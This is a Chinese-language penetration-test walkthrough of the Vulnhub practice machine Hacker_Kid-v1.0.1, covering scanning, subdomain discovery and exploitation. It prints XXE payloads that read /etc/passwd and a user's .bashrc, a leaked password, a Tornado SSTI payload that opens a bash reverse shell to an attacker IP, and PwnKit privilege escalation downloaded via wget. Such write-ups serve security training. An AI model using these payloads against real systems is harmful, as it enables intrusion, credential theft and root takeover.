Hacker_Kid-v1.0.1靶机渗透过程

准备环境

攻击机:WSL-Kali-Linux

目标靶机:Hacker_Kid-v1.0.1

平台:VMware Workstation 16.2

靶机为NAT模式

一、信息搜集

1.IP扫描

nmap 192.168.9.0/24

1

扫描出靶机IP为:192.168.9.145

2.端口扫描

nmap -A -p- 192.168.9.145

2

端口开放情况如下

端口号服务
53DNS解析服务
80HTTP
9999abyss

二、漏洞利用

1.漏洞挖掘

访问其http服务

3

查看网页的源码

4

提示传page_no参数

Burp Suite中对page_no爆破

5

payload中设置

6

开始爆破,得到当page_no21的时候,长度不同

7

访问http://192.168.9.145/?page_no=21,网页下面会多出一段话

8

根据提示,存在hackers.blackhat.local域名,将该域名添加至hosts文件

vim /etc/hosts
# Vulnhub - Hacker_Kid
192.168.9.145 hackers.blackhat.local blackhat.local

9

对该域名进行子域爆破

dig hackers.blackhat.local @192.168.9.145

10

发现还存在hackerkid.blackhat.local子域名

同样将该子域名加入到hosts文件中

在浏览器中访问hackerkid.blackhat.local

11

随便填入内容提交,并抓包

12

推测存在xxe实体注入

构造POC

<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>

13

存在saket用户

通过php://filter伪协议查看位于/home/saket/.bashrc文件内容

POC:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>

14

base64解码之后,得到一个用户名和密码

15

username="admin"
password="Saket!#$%@!!"

访问9999端口的服务,发现需要用户名和密码进行登录

16

当使用刚刚解码的用户名和密码进行登录时提示错误,于是尝试换用saket作为用户名进行登录

17

推测GETname参数

18

该网页使用Tornado模板,测试SSTI注入

name参数为{{5*5}}时,回显为25,表明存在SSTI模板注入漏洞

19

构造POC

{% import os %}{undefined{os.system('bash -c "bash -i >& /dev/tcp/172.31.223.206/1234 0>&1"')}}

会报错,将POC进行url编码

%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.31.223.206%2F1234%200%3E%261%22%27%29%7D%7D

20

三、提权

使用CVE-2021-4034进行内核提权

CVE克隆到本地进行编译

git clone https://gitee.com/distancexx/CVE-2021-4034.git

kali中启用http服务

python3 -m http.server 81

在靶机中将打包好的CVE压缩包wget下来

wget http://172.31.223.206:81/1.tar.gz ./

直接运行CVE

./cve-2021-4034

22

目标靶机已完成渗透